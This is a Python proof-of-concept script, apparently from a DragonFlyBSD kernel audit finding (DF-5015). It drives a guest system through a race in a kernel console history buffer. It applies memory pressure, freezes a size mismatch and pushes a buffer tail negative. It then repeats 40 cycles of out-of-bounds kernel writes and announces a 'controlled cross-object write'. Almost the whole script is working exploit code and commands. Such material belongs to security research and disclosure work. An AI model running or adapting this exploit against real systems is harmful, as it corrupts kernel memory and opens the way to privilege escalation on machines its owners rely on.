⬢ DragonFlyBSD Kernel Audit
DF-5015 / round4.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""DF-5015 round 4: guest-side watcher freezes the mismatch; then
in-kernel evidence: negative tail after restore, Z-cells before buffer
after fire."""
import sys, time
sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
import os
os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
from drive import Mon, run_root, Slk

def state():
    return run_root("sysctl -n hw.df5015")

m = Mon()
slk = Slk(m, vty=0)

print("== reset ==")
run_root("pkill -f 'df5015 flip' 2>/dev/null; true")
run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN")
run_root("/tmp/df5015 flip 1 0 1500")

print("== arm ==")
run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN")
print(run_root("/tmp/df5015 arm"))
print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))

print("== watcher + pressure + flip ==")
run_root("/tmp/watcher.sh >/tmp/watcher.log 2>&1 &")
print(run_root("su maxx -c 'sh -c \"while :; do dd if=/dev/zero of=/tmp/big bs=1m count=900 2>/dev/null; rm -f /tmp/big; done\" >/dev/null 2>&1 &'"))
print(run_root("su maxx -c '/tmp/df5015 vmburst 1400 >/tmp/vmburst.log 2>&1 &'"))
print(run_root("su maxx -c '/tmp/df5015 pressure 4000 >/tmp/pressure.log 2>&1 &'"))
run_root("/tmp/df5015 flip 100000 250 20 >/tmp/flip.log 2>&1 &")

deadline = time.time() + 420
frozen = False
while time.time() < deadline:
    out = run_root("cat /tmp/watcher.log 2>/dev/null")
    if "FROZEN" in out:
        print(out.strip())
        frozen = True
        break
    time.sleep(2)
if not frozen:
    print("watcher never fired:", run_root("cat /tmp/watcher.log"))
    run_root("touch /tmp/DF5015_STOP")
    sys.exit(1)
time.sleep(1.0)
print(run_root("tail -2 /tmp/flip.log"))

st = state()
print("== frozen state ==")
print(st)
assert "size=2000" in st and "ysize=60" in st, "freeze failed"

print("== arm negative tail (SLK cycle) ==")
slk.set(True)
m.key("home")     # entry save (in-bounds wrap) + home
slk.set(False)    # restore -> tail should go NEGATIVE
time.sleep(0.3)
st = state()
print(st)
print("TAIL NEGATIVE!" if "tail=-" in st else "tail not negative?!")

print("== fill + baseline zprev ==")
run_root("/tmp/df5015 fill 0 Z 70")
print(state())

print("== fire 40 ==")
for i in range(40):
    slk.set(True)
    m.key("home")     # append from negative tail -> OOB WRITE
    slk.set(False)    # restore -> re-arm
    if i % 8 == 0:
        print(f"cycle {i}: {state()}")

print("== final ==")
time.sleep(0.5)
final = state()
print(final)
print(run_root("echo alive"))
if "zprev=0 " not in final and "zprev=-1" not in final:
    print("*** Z CELLS PRESENT BEFORE THE HISTORY BUFFER: "
          "CONTROLLED CROSS-OBJECT WRITE PROVEN ***")